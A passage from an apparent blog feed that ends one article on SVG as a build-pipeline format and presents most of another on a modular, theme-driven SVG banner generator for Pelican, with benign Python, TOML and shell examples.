&amp;#8226; &lt;strong&gt;Security considerations:&lt;/strong&gt; SVG can contain JavaScript. User-uploaded SVGs are an XSS vector. Sanitize uploaded SVGs aggressively — strip scripts, event handlers, and &lt;code&gt;foreignObject&lt;/code&gt; elements. Tools like &lt;code&gt;DOMPurify&lt;/code&gt; handle this well, but you need to know the risk exists.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Performance profiling:&lt;/strong&gt; SVG rendering performance is harder to reason about than raster image decoding. Complex filters, many elements, and frequent DOM mutations can bottleneck on the GPU or the compositing thread. Profile with browser devtools if performance matters.&lt;/p&gt;

&lt;p&gt;These are real constraints. They're also the same kind of constraints you'd consider for any engineering decision. The key insight is that SVG's limitations are &lt;em&gt;understandable&lt;/em&gt; — they follow from its design as a structured, DOM-integrated vector format. You can reason about them, profile them, and work around them.&lt;/p&gt;

&lt;h2&gt;SVG in a Modern Build Pipeline&lt;/h2&gt;

&lt;p&gt;Here's a concrete workflow that treats SVG as a build artifact rather than a static asset:&lt;/p&gt;

&lt;pre class="language-bash"&gt;
&lt;code class="language-bash"&gt;
# 1. Generate SVGs from templates and data
python scripts/generate_banners.py \
  --template templates/banner.svg.j2 \
  --data articles/*/metadata.toml \
  --output output/banners/

# 2. Optimize with SVGO
npx svgo --config svgo.config.js \
  --input output/banners/ \
  --output output/banners-optimized/

# 3. Convert to PNG for platforms that need raster
for svg in output/banners-optimized/*.svg; do
  rsvg-convert -w 1200 -h 630 "$svg" \
    &gt; "${svg%.svg}.png"
done

# 4. Inject references into built HTML
python scripts/inject_og_tags.py \
  --images output/banners-optimized/ \
  --site output/_site/
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;This pipeline is:&lt;/p&gt;

&lt;p&gt;&amp;#8226; &lt;strong&gt;Deterministic:&lt;/strong&gt; Same inputs, same outputs, every time.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Version-controlled:&lt;/strong&gt; Templates, configuration, and generation scripts all live in Git.&lt;br&gt;
&amp;#8226; &lt;strong&gt;CI/CD-ready:&lt;/strong&gt; Runs in GitHub Actions, produces artifacts, deploys predictably.&lt;br&gt;
&amp;#8226; &lt;strong&gt;Debuggable:&lt;/strong&gt; Each step is independent. If the PNG looks wrong, check the SVG. If the SVG is wrong, check the template. If the template is wrong, check the data.&lt;/p&gt;

&lt;p&gt;This is what it looks like when graphics participate in an engineering workflow. It's not about making pretty pictures. It's about building a system where visual output is as reliable, traceable, and automatable as the rest of the build.&lt;/p&gt;

&lt;h2&gt;Why I Build With SVG First&lt;/h2&gt;

&lt;p&gt;I default to SVG now for any visual asset that isn't a photograph. Diagrams, banners, icons, charts, architectural drawings, generative patterns — all SVG. The format pays its engineering dividends through composability, versionability, pipeline integration, and the ability to treat visual assets as code.&lt;/p&gt;

&lt;p&gt;The tooling ecosystem supports this approach. SVGO for optimization. &lt;code&gt;librsvg&lt;/code&gt; for raster fallback. Jinja2 (or any template engine) for composition. Standard version control for history and collaboration. Browser devtools for performance profiling and debugging.&lt;/p&gt;

&lt;p&gt;The most underrated aspect of SVG isn't any single feature. It's the cumulative effect of all of them working together inside a developer workflow. When your images are source code, you stop thinking about "managing assets" and start thinking about "building visual output." The distinction is subtle but profound.&lt;/p&gt;

&lt;p&gt;If you're treating SVG as just another export format, you're missing the engineering value. It's not a format for designers. It's a format for build systems that produce graphics.&lt;/p&gt;</content><category term="Programming"></category><category term="svg"></category><category term="vector graphics"></category><category term="procedural generation"></category><category term="automation"></category><category term="accessibility"></category><category term="build pipelines"></category><category term="animation"></category><category term="data visualization"></category><category term="scripting"></category><category term="developer tools"></category></entry><entry><title>Building a Modular Banner Generator for Pelican – A Developer's Approach</title><link href="https://mosaid.xyz/articles/building-a-modular-banner-generator-for-pelican.html" rel="alternate"></link><published>2026-05-07T09:30:00+00:00</published><updated>2026-05-07T09:30:00+00:00</updated><author><name>mosaid</name></author><id>tag:mosaid.xyz,2026-05-07:/articles/building-a-modular-banner-generator-for-pelican.html</id><summary type="html">&lt;p&gt;A deep dive into designing a banner generation system that treats visual assets as part of the build pipeline – with themes, components, and deterministic output.&lt;/p&gt;</summary><content type="html">&lt;h2&gt;0. The Real Problem Was Consistency&lt;/h2&gt;
&lt;p&gt;
At first, banners were created manually. Some used PNGs, others SVGs. Typography changed between articles. Margins drifted. A few thumbnails were exported at the wrong aspect ratio.
&lt;/p&gt;
&lt;p&gt;
The issue was not artistic quality. The issue was that visuals were outside the engineering workflow.
&lt;/p&gt;
&lt;p&gt;
The moment article count passed 30+, image management became operational debt:
&lt;/p&gt;
&lt;ul class="compact-list"&gt;
&lt;li&gt;One generic banner → weak brand identity&lt;/li&gt;
&lt;li&gt;Manual creation per article → unsustainable&lt;/li&gt;
&lt;li&gt;Hard‑coded HTML/CSS in the theme → inconsistent with social media previews&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
We needed a system: &lt;strong&gt;deterministic, themeable, and fully integrated into the Pelican workflow&lt;/strong&gt;.
&lt;/p&gt;
&lt;p&gt;
This article walks through the design and implementation of a banner generator that treats images as code – SVG components assembled from configuration, with no manual design work after the first setup. The system has since evolved to be &lt;strong&gt;completely extensible&lt;/strong&gt;: new components, themes, and design presets are automatically discovered simply by placing files in the right directories – no code edits required.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;1. Why Banners Must Be Generated, Not Drawn&lt;/h2&gt;
&lt;p&gt;
The core problems mentioned above pointed to one principle: banners should be derived, not stored as binary blobs. A proper banner generator solves all three:
&lt;/p&gt;
&lt;ul class="compact-list"&gt;
&lt;li&gt;&lt;strong&gt;Reproducible&lt;/strong&gt; – the same input always produces the same SVG&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Theme‑aware&lt;/strong&gt; – matches your Pelican theme’s colours and typography&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Data‑driven&lt;/strong&gt; – pulls title, tags, category, and progress directly from article metadata&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
The output is a standard 1200×630 Open Graph image (or a square thumbnail), rendered as SVG and optionally rasterised to PNG.
&lt;/p&gt;

&lt;blockquote&gt;
&lt;strong&gt;Key idea:&lt;/strong&gt; Banners become part of the build pipeline – no more design debt.
&lt;/blockquote&gt;

&lt;h3&gt;1.1 Why Not Use Existing Tools?&lt;/h3&gt;
&lt;p&gt;
Before building a custom generator, obvious alternatives were considered:
&lt;/p&gt;
&lt;ul class="compact-list"&gt;
&lt;li&gt;&lt;strong&gt;Canva / Figma:&lt;/strong&gt; manual workflow, no API for mass generation, binary artefacts&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Puppeteer / Playwright screenshots:&lt;/strong&gt; heavy dependencies, browser inconsistencies, slow, hard to version text&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Online OG generators:&lt;/strong&gt; limited customisation, not part of local build, platform lock-in&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Pillow / PIL rendering:&lt;/strong&gt; low-level, no native SVG support, poor typography control&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
None offered the combination of version control, theme reusability, and deterministic output that a static-site generator demands.
&lt;/p&gt;

&lt;h3&gt;1.2 Why SVG Instead of HTML/CSS Canvas?&lt;/h3&gt;
&lt;p&gt;
Several rendering approaches were tested:
&lt;/p&gt;
&lt;ul class="compact-list"&gt;
&lt;li&gt;HTML + Playwright screenshots&lt;/li&gt;
&lt;li&gt;Pillow/PIL image rendering&lt;/li&gt;
&lt;li&gt;Canvas APIs&lt;/li&gt;
&lt;li&gt;Pure SVG generation&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
SVG won because it is:
&lt;/p&gt;
&lt;ul class="compact-list"&gt;
&lt;li&gt;&lt;strong&gt;Text-based and version controllable&lt;/strong&gt; – diff‑friendly in Git&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Resolution independent&lt;/strong&gt; – perfect for both thumbnail and OG sizes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Composable from reusable XML fragments&lt;/strong&gt; – each component outputs a small SVG chunk&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Easy to theme dynamically&lt;/strong&gt; – colours and fonts are just placeholder variables&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Cheap to rasterise into PNG&lt;/strong&gt; – a single ImageMagick command&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Simple to diff in Git&lt;/strong&gt; – visual regression testing possible&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
Unlike screenshot-based systems, SVG generation also avoids browser rendering inconsistencies and heavy dependencies.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;2. Architecture: Components Over Templates&lt;/h2&gt;
&lt;p&gt;
Instead of a monolithic image template, the generator is built from &lt;strong&gt;independent visual components&lt;/strong&gt;. Each component knows how to render itself against a canvas and respects a global theme.
&lt;/p&gt;
&lt;p&gt;
The core pipeline is simple:
&lt;/p&gt;

&lt;pre class="language-python"&gt;
  &lt;code class="language-python"&gt;
BannerConfig (TOML) → BannerContext → Renderer → SVG
                       ↓
                (components in Z‑order)
            background, terminal, title, badges …
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
Components do not hard‑code positions or colours. They read from a theme dictionary and a layout configuration. This separation allows one design file to be rendered with any available theme.
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;Dynamic component discovery:&lt;/strong&gt; Since version 2.0, the factory no longer uses a hard‑coded registry. Instead, it scans the &lt;code&gt;components/&lt;/code&gt; directory at startup and automatically loads every valid Python module that exports a &lt;code&gt;Component&lt;/code&gt; class. This means you can add a new visual element by simply dropping a &lt;code&gt;.py&lt;/code&gt; file into the folder – no registration, no config edits. The CLI, the interactive workflow, and the generated TOML comments all update themselves to reflect the new component.
&lt;/p&gt;

&lt;h3&gt;2.1 Component Example – Terminal Window&lt;/h3&gt;
&lt;p&gt;
The terminal component is one of the most complex elements. It renders a list of commands with syntax highlighting, optional typing animations, and a responsive layout.
&lt;/p&gt;

&lt;pre class="language-python"&gt;
  &lt;code class="language-python"&gt;
class TerminalComponent(BaseComponent):
    def render(self) -&gt; str:
        cmds = self.cfg["terminal"]["commands"]
        out = []
        for i, cmd in enumerate(cmds):
            y = self.y_offset + start_y + i * spacing
            out.append(self._render_line(cmd, y, text_x))
        return "\n".join(out)
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
Each component also reports its consumed height, so the renderer can stack them vertically without absolute coordinates – a simple but powerful flow layout.
&lt;/p&gt;

&lt;h3&gt;2.2 Rendering Lifecycle – Step by Step&lt;/h3&gt;
&lt;p&gt;
The generation pipeline follows five deterministic stages:
&lt;/p&gt;
&lt;ol class="compact-list"&gt;
&lt;li&gt;Load theme TOML (colours, layout defaults)&lt;/li&gt;
&lt;li&gt;Load design preset (component selection, text overrides)&lt;/li&gt;
&lt;li&gt;Merge into a &lt;code&gt;BannerContext&lt;/code&gt; that holds all settings&lt;/li&gt;
&lt;li&gt;Instantiate enabled components via a factory&lt;/li&gt;
&lt;li&gt;Render SVG fragments in z‑order, assemble final document&lt;/li&gt;
&lt;/ol&gt;

&lt;pre class="language-text"&gt;
  &lt;code class="language-text"&gt;
Article Metadata
        ↓
Design Preset
        ↓
Theme Merge
        ↓
BannerContext
        ↓
Component Factory
        ↓
SVG Renderer
        ↓
banner.svg
        ↓
ImageMagick
        ↓
banner.png
&lt;/code&gt;
&lt;/pre&gt;

&lt;h3&gt;2.3 Why Deterministic Output Matters&lt;/h3&gt;
&lt;p&gt;
Because banners are pure functions of their input configuration:
&lt;/p&gt;
&lt;ul class="compact-list"&gt;
&lt;li&gt;The same design + metadata always yields the exact same SVG.&lt;/li&gt;
&lt;li&gt;It is impossible to accidentally “drift” a banner style.&lt;/li&gt;
&lt;li&gt;The system is CI‑friendly: any broken component immediately produces a visual diff.&lt;/li&gt;
&lt;li&gt;Regenerating an entire archive of hundreds of banners is safe and instant.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
This determinism is what makes banners a first‑class part of the engineering workflow.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;3. Project Structure&lt;/h2&gt;
&lt;p&gt;
The generator follows a clean separation of responsibilities. The directory tree now supports nested folders so you can organise themes, designs, and even components if desired – all automatically discovered.
&lt;/p&gt;

&lt;pre class="language-text"&gt;
  &lt;code class="language-text"&gt;
banner_generator/
├── components/        # Independent renderable SVG blocks (auto‑discovered)
├── core/              # Rendering pipeline, factory, context
├── themes/            # TOML colour/typography profiles (nested folders allowed)
├── designs/           # Preset compositions, now organised by category:
│   ├── articles/      #   tech and academic presets
│   ├── books/         #   covers (fantasy, mystery, corporate, …)
│   └── thumbnails/    #   square thumbnail presets
├── article_creator/   # Pelican workflow integration
├── cli.py             # Command‑line interface
├── generate.py        # Core generation entry point
└── README.md
&lt;/code&gt;
&lt;/pre&gt;

&lt;div class="table-responsive"&gt;
  &lt;table class="article-table"&gt;
  &lt;thead&gt;
    &lt;tr&gt;
      &lt;th&gt;Directory&lt;/th&gt;
      &lt;th&gt;Responsibility&lt;/th&gt;
    &lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;components/&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Independent renderable SVG blocks (auto‑loaded)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;core/&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Rendering pipeline and orchestration&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;themes/&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Shared colour systems (any subfolder)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;designs/&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Preset compositions (any subfolder)&lt;/td&gt;
    &lt;/tr&gt;
    &lt;tr&gt;
      &lt;td&gt;&lt;code&gt;article_creator/&lt;/code&gt;&lt;/td&gt;
      &lt;td&gt;Pelican workflow integration&lt;/td&gt;
    &lt;/tr&gt;
  &lt;/tbody&gt;
  &lt;/table&gt;
&lt;/div&gt;

&lt;hr/&gt;

&lt;h2&gt;4. Themes: One Source of Truth for Visual Identity&lt;/h2&gt;
&lt;p&gt;
A theme is a TOML file that defines colours and layout defaults. No component knows about hex codes – they all reference keys like &lt;code&gt;title_start&lt;/code&gt; or &lt;code&gt;terminal_bg&lt;/code&gt;.
&lt;/p&gt;

&lt;pre class="language-toml"&gt;
  &lt;code class="language-toml"&gt;
name = "Dracula"

[colors]
bg_start = "#282a36"
title_start = "#f8f8f2"
terminal_bg = "#1e1e2e"
status_badge_bg = "#44475a"

[layout]
title_font_size = 44
title_margin_top = 120
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
Switching from "Tech" to "Dracula" to "Catppuccin" is a one‑line change:
&lt;/p&gt;

&lt;pre class="language-toml"&gt;
  &lt;code class="language-toml"&gt;
theme = "dracula"
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
Because every component reads from the same colour dictionary, the entire banner stays visually consistent. This is the same principle behind CSS custom properties – applied to SVG generation.
&lt;/p&gt;

&lt;p&gt;
Themes can now be placed in subdirectories (e.g. &lt;code&gt;themes/catppuccin/mocha.toml&lt;/code&gt;) and referenced as &lt;code&gt;theme = "catppuccin/mocha"&lt;/code&gt;. The system recursively searches all subfolders, making it easy to group themes by family or project.
&lt;/p&gt;

&lt;h3&gt;4.1 Theme Inheritance and Fallbacks&lt;/h3&gt;
&lt;p&gt;
Themes support a simple inheritance model. A theme can specify a &lt;code&gt;parent&lt;/code&gt; key:
&lt;/p&gt;

&lt;pre class="language-toml"&gt;
  &lt;code class="language-toml"&gt;
name = "custom"
parent = "dracula"
[colors]
title_start = "#ffffff"  # override only one colour
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
Any missing colours or layout values are automatically pulled from the parent. This allows minimal custom themes without duplicating the entire palette. Components access all colours through a merged dictionary, never knowing where the value originated.
&lt;/p&gt;

&lt;h3&gt;4.2 Minimal Working Example&lt;/h3&gt;
&lt;p&gt;
A complete banner can be generated with fewer than 20 lines of TOML:
&lt;/p&gt;

&lt;pre class="language-toml"&gt;
  &lt;code class="language-toml"&gt;
theme = "tech"
title = "Hello Banner"
subtitle = "SVG generated"

[components]
show_title = true
show_background = true
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;Run it with:&lt;/p&gt;

&lt;pre class="language-bash"&gt;
  &lt;code class="language-bash"&gt;
python -m banner_generator.generate example.banner.toml
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
This gives you a themed, properly sized OG image without any design tool.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;5. Design Presets: Reusable Blueprints&lt;/h2&gt;
&lt;p&gt;
A design preset is a TOML file that selects a theme, sets layout overrides, and decides which components to show. It also provides placeholder text for titles, commands, badges, and social icons.
&lt;/p&gt;
&lt;p&gt;
For example, a &lt;code&gt;python_programming.banner.toml&lt;/code&gt; preset:
&lt;/p&gt;

&lt;pre class="language-toml"&gt;
  &lt;code class="language-toml"&gt;
theme = "tech"
size = "og"
title = "Python Internals"
subtitle = "Decorators, generators, and async"
meta = "Article 9 · Advanced Python"

[components]
show_terminal = true
show_code_snippet = true
show_status_badges = true

[code_snippet]
language = "python"
code = ["def decorator(func):", "    return wrapper"]
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
These presets are stored as version‑controlled files. You can organise them into subdirectories – e.g., &lt;code&gt;articles/tech/&lt;/code&gt; for programming topics, &lt;code&gt;books/fantasy/&lt;/code&gt; for novel covers. The CLI and interactive tools discover them recursively, so you reference a design by its relative path, like &lt;code&gt;books/fantasy/fantasy_book_cover&lt;/code&gt;.
&lt;/p&gt;
&lt;p&gt;
During the article workflow, the system automatically suggests a design based on tags, category, and title keywords. If the article is about Linux, it suggests &lt;code&gt;articles/tech/linux_homelab&lt;/code&gt;; if it contains "LaTeX", it leans toward &lt;code&gt;articles/tech/latex_article&lt;/code&gt;. The suggestion engine works across nested directories without any extra configuration.
&lt;/p&gt;

&lt;h3&gt;5.1 How Metadata Drives Visual Choices&lt;/h3&gt;
&lt;p&gt;
The suggestion engine maps article metadata to design presets using simple rules:
&lt;/p&gt;

&lt;div class="table-responsive"&gt;
  &lt;table class="article-table"&gt;
  &lt;thead&gt;
    &lt;tr&gt;&lt;th&gt;Metadata&lt;/th&gt;&lt;th&gt;Visual Result&lt;/th&gt;&lt;/tr&gt;
  &lt;/thead&gt;
  &lt;tbody&gt;
    &lt;tr&gt;&lt;td&gt;&lt;code&gt;Tags: vim&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Vim component suggested; code-focused layout&lt;/td&gt;&lt;/tr&gt;
    &lt;tr&gt;&lt;td&gt;&lt;code&gt;Category: Linux&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Linux preset selected; terminal component enabled&lt;/td&gt;&lt;/tr&gt;
    &lt;tr&gt;&lt;td&gt;&lt;code&gt;Series: Python Deep Dive&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Progress indicator enabled automatically&lt;/td&gt;&lt;/tr&gt;
    &lt;tr&gt;&lt;td&gt;&lt;code&gt;Subcategory: Advanced&lt;/code&gt;&lt;/td&gt;&lt;td&gt;Badge colour changed to denote difficulty&lt;/td&gt;&lt;/tr&gt;
  &lt;/tbody&gt;

  &lt;/table&gt;
&lt;/div&gt;

&lt;p&gt;
This mapping ensures new articles rarely need manual design file tweaks – the system picks a starting point that is already almost correct.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;6. Integration into the Pelican Article Workflow&lt;/h2&gt;
&lt;p&gt;
The generator is not a standalone script – it's a tightly integrated step inside the article creation pipeline.
&lt;/p&gt;
&lt;p&gt;
When a new article is started:
&lt;/p&gt;
&lt;ol class="compact-list"&gt;
&lt;li&gt;A working directory is created (&lt;code&gt;article-42/&lt;/code&gt;).&lt;/li&gt;
&lt;li&gt;Metadata files (&lt;code&gt;title.txt&lt;/code&gt;, &lt;code&gt;tags.txt&lt;/code&gt;, &lt;code&gt;body.html&lt;/code&gt;) are edited.&lt;/li&gt;
&lt;li&gt;The user is prompted to generate a banner – a design is chosen, a &lt;code&gt;banner.toml&lt;/code&gt; file is created, and the editor opens.&lt;/li&gt;
&lt;li&gt;After editing the config, the SVG and PNG are rendered automatically.&lt;/li&gt;
&lt;li&gt;The same steps run for a square thumbnail (size = "thumbnail").&lt;/li&gt;
&lt;/ol&gt;
&lt;p&gt;
Both the banner and thumbnail are copied to the Pelican static directories with the article’s slug as the filename. The markdown front matter is updated with the correct &lt;code&gt;Image:&lt;/code&gt; and &lt;code&gt;Thumbnail:&lt;/code&gt; fields.
&lt;/p&gt;
&lt;p&gt;
This eliminates any manual file renaming or path‑guessing.
&lt;/p&gt;

&lt;blockquote&gt;
&lt;strong&gt;Result:&lt;/strong&gt; Every article gets a unique, on‑brand banner without touching a graphical editor.
&lt;/blockquote&gt;

&lt;h3&gt;6.1 Why Pelican (and Static Sites) Benefit Most&lt;/h3&gt;
&lt;p&gt;
Static-site generators are build‑time systems. They already transform source files into output artefacts. Adding banner image generation to the pipeline is a natural extension – unlike dynamic CMS platforms where image generation would need to happen lazily or on upload. Because everything runs during &lt;code&gt;pelican&lt;/code&gt;’s generation step, the images are always in sync with the content. There is no cache invalidation or stale state.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;7. From SVG to PNG – Rasterisation in the Pipeline&lt;/h2&gt;
&lt;p&gt;
SVG is perfect for the source format: it's text, versionable, and can contain animations (e.g. typing effects). But Open Graph and Twitter cards require static PNG images.
&lt;/p&gt;
&lt;p&gt;
The generator uses ImageMagick (&lt;code&gt;magick&lt;/code&gt; or &lt;code&gt;convert&lt;/code&gt;) to rasterise the SVG at the exact canvas size:
&lt;/p&gt;

&lt;pre class="language-bash"&gt;
  &lt;code class="language-bash"&gt;
magick banner.svg -resize 1200x630! banner.png
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
The &lt;code&gt;!&lt;/code&gt; flag forces the exact dimensions, which matches the Open Graph specification. For thumbnails, the canvas is 512×512, producing a perfect square ready for archive pages and social previews.
&lt;/p&gt;
&lt;p&gt;
If ImageMagick is not available, the workflow still produces an SVG – the user can rasterise later. But in practice, every CI environment and local development machine includes it.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;8. Performance and Caching&lt;/h2&gt;
&lt;p&gt;
Generating a banner from scratch takes ~200ms on a modern machine – fast enough to run during every edit. But regeneration is only needed when the article metadata (title, tags) or the &lt;code&gt;banner.toml&lt;/code&gt; changes.
&lt;/p&gt;
&lt;p&gt;
The workflow checks for existing &lt;code&gt;banner.png&lt;/code&gt; and &lt;code&gt;thumbnail.png&lt;/code&gt; before regenerating. If they exist, the user is asked:
&lt;/p&gt;

&lt;pre class="language-text"&gt;
  &lt;code class="language-text"&gt;
⚠️  banner.png already exists. Regenerate anyway? (Y/n)
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
This simple guard prevents accidental overwrites and keeps builds incremental. When the site is published, the images are rsync'd once – no unnecessary work.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;9. Extending the Component Library&lt;/h2&gt;
&lt;p&gt;
The current component set includes 35+ visual blocks, ranging from terminal windows and code editors to diagrams, charts, and decorative elements. A handful of widely used ones:
&lt;/p&gt;
&lt;ul class="compact-list"&gt;
&lt;li&gt;&lt;strong&gt;Terminal&lt;/strong&gt; – with typing animation and syntax‑highlighted commands&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Vim editor&lt;/strong&gt; – code window with line numbers and mode indicator&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Status badges&lt;/strong&gt; – tag pills that automatically map to article tags&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Code snippet&lt;/strong&gt; – generic code block with Pygments highlighting&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Definition box&lt;/strong&gt; – term + definition card&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Simple chart&lt;/strong&gt; – bar chart for metrics or survey data&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Latex source&lt;/strong&gt; – formatted LaTeX code block&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Network diagram&lt;/strong&gt; – nodes and connections&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Database tables&lt;/strong&gt; – entity relationship visualisation&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Kanban board&lt;/strong&gt; – columns and cards&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;
&lt;strong&gt;Adding a new component requires zero changes to the core engine.&lt;/strong&gt; Simply:
&lt;/p&gt;
&lt;ol class="compact-list"&gt;
&lt;li&gt;Create a new Python file under &lt;code&gt;banner_generator/components/&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;Implement a &lt;code&gt;Component&lt;/code&gt; class that inherits from &lt;code&gt;BaseComponent&lt;/code&gt;, defines a unique string &lt;code&gt;component_id&lt;/code&gt;, and assigns a numeric &lt;code&gt;z_index&lt;/code&gt; for layering.&lt;/li&gt;
&lt;li&gt;Write the &lt;code&gt;render()&lt;/code&gt; method (and optionally &lt;code&gt;defs()&lt;/code&gt; if the component needs SVG gradients or filters).&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;
Once the file is saved, the component is &lt;strong&gt;immediately available&lt;/strong&gt;:
&lt;/p&gt;
&lt;ul class="compact-list"&gt;
&lt;li&gt;The banner generator discovers it on the next startup.&lt;/li&gt;
&lt;li&gt;The CLI automatically lists the new &lt;code&gt;show_&amp;lt;id&amp;gt;&lt;/code&gt; toggle in every generated &lt;code&gt;banner.toml&lt;/code&gt; comment block.&lt;/li&gt;
&lt;li&gt;The interactive article workflow suggests it if the design requires that component.&lt;/li&gt;
&lt;li&gt;The renderer stacks it in the correct z‑order using its declared &lt;code&gt;z_index&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
There is no master list to update, no factory map to edit, and no configuration file to touch. The only requirement is that the component follows the simple contract: &lt;code&gt;component_id&lt;/code&gt; and inheritance from &lt;code&gt;BaseComponent&lt;/code&gt;. Invalid or broken components are gracefully skipped with a warning, keeping the whole system stable.
&lt;/p&gt;

&lt;h3&gt;9.1 Hands‑on: Building a Minimal Component&lt;/h3&gt;
&lt;p&gt;
Every component inherits from &lt;code&gt;BaseComponent&lt;/code&gt;. A component only needs geometry calculations and a &lt;code&gt;render()&lt;/code&gt; method that returns SVG markup.
&lt;/p&gt;

&lt;pre class="language-python"&gt;
  &lt;code class="language-python"&gt;
class Component(BaseComponent):
    component_id = "divider"
    z_index = 50
    def render(self):
        return f'''
        &lt;line
            x1="40"
            y1="{self.y}"
            x2="1160"
            y2="{self.y}"
            stroke="{self.col["divider"]}"
        /&gt;
        '''
&lt;/code&gt;
&lt;/pre&gt;

&lt;p&gt;
Save the file as &lt;code&gt;banner_generator/components/divider.py&lt;/code&gt; and the system will auto‑discover it. Any design preset can then include it by setting &lt;code&gt;show_divider = true&lt;/code&gt;. That’s the entire workflow – no central orchestration changes required, ever.
&lt;/p&gt;

&lt;hr/&gt;

&lt;h2&gt;Gallery: All Generated Banners (Designs &amp; Themes)&lt;/h2&gt;
&lt;p&gt;
Below you can see the complete set of banners produced by the generator – both from design presets and from theme variations. Each image links to its full‑size version. This gallery demonstrates the flexibility and consistency of the system.
&lt;/p&gt;

&lt;p&gt;
&lt;strong&gt;Design presets&lt;/strong&gt; combine a specific component selection, layout strategy, and a theme. Changing the theme for a given design preserves the same visual structure but applies a new colour palette and typography.
&lt;/p&gt;

&lt;style&gt;
.banner-gallery {
    display: grid;
    grid-template-columns: repeat(auto-fill, minmax(280px, 1fr));
    gap: 1.5rem;
    margin: 2rem 0;
}
.banner-card {
    background: #1e1e2e;
    border-radius: 12px;
    overflow: hidden;
    box-shadow: 0 4px 12px rgba(0,0,0,0.3);
    transition: transform 0.2s ease, box-shadow 0.2s ease;
}
.banner-card:hover {
    transform: translateY(-4px);
    box-shadow: 0 12px 24px rgba(0,0,0,0.4);
}
.banner-card a {
    display: block;
    line-height: 0;
}
.banner-card img {
    width: 100%;
    height: auto;
    object-fit: cover;
    aspect-ratio: 1200 / 630;
}
.banner-card .caption {
    padding: 0.75rem 1rem;
    font-family: 'JetBrains Mono', monospace;
    font-size: 0.85rem;
    background: #313244;
    color: #cdd6f4;
    text-align: center;
    font-weight: 500;
}
&lt;/style&gt;

&lt;h3&gt;🎨 Design Presets&lt;/h3&gt;
&lt;div class="banner-gallery"&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/design_arabic_article.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/design_arabic_article.png" alt="Arabic Article Design"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🇸🇦 arabic_article&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/design_database_mysql.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/design_database_mysql.png" alt="Database MySQL Design"&gt;&lt;/a&gt;&lt;div class="caption"&gt;🗄️ database_mysql&lt;/div&gt;&lt;/div&gt;
    &lt;div class="banner-card"&gt;&lt;a href="/theme/images/articles/images/banners-png/design_devops_ci_cd.png" target="_blank"&gt;&lt;img src="/theme/images/articles/images/banners-png/design_devops_ci_cd.png" alt="DevOps CI/CD Design"&gt;&lt;/a&gt;&lt;div class="caption"&gt;⚙️ devops_ci_cd&lt;/div&gt;&lt;/div&gt;
